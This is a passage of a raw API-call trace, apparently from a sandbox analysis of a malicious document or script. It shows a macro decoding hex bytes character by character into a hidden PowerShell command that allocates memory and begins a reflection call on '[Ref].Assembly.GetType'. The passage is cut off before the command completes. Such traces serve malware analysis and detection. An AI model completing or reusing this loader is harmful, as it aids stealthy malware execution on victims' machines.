-Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assem", bstrRight="b", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.069] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.069] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.069] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0072.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0072.069] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assemb", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.069] VarBstrCat (in: bstrLeft="&H", bstrRight="F2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.069] VarParseNumFromStr (in: strIn="&HF2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.069] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0072.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0072.070] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembl", bstrRight="y", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.070] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.070] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.070] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0072.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0072.070] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.070] VarBstrCat (in: bstrLeft="&H", bstrRight="8E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.070] VarParseNumFromStr (in: strIn="&H8E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.070] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ž") returned 1 [0072.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ž", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8e£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="G") returned 1 [0072.071] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.", bstrRight="G", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.071] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.071] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.071] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.071] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.G", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.071] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.071] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.071] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.072] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.Ge", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.072] VarBstrCat (in: bstrLeft="&H", bstrRight="A8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.072] VarParseNumFromStr (in: strIn="&HA8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.072] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="¨") returned 1 [0072.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¨", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¨£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0072.072] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.Get", bstrRight="T", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.072] VarBstrCat (in: bstrLeft="&H", bstrRight="F2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.072] VarParseNumFromStr (in: strIn="&HF2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.072] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0072.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0072.073] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetT", bstrRight="y", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.073] VarBstrCat (in: bstrLeft="&H", bstrRight="E0", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.073] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.073] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0072.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ࣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0072.073] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetTy", bstrRight="p", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.073] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.073] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.073] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.074] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetTyp", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.074] VarBstrCat (in: bstrLeft="&H", bstrRight="50", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.074] VarParseNumFromStr (in: strIn="&H50", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.074] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0072.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0072.074] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType", bstrRight="(", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.074] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.075] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.075] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.075] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType(", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.076] VarBstrCat (in: bstrLeft="&H", bstrRight="A6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.076] VarParseNumFromStr (in: strIn="&HA6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.076] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="¦") returned 1 [0072.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0072.076] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('", bstrRight="S", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.077] VarBstrCat (in: bstrLeft="&H", bstrRight="F2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.077] VarParseNumFromStr (in: strIn="&HF2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.077] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0072.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0072.077] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('S", bstrRight="y", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.077] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.077] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.077] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.078] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Sy", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.078] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.078] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.078] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.078] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Sys", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.078] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.078] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.078] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.079] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syst", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.079] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.079] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.079] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 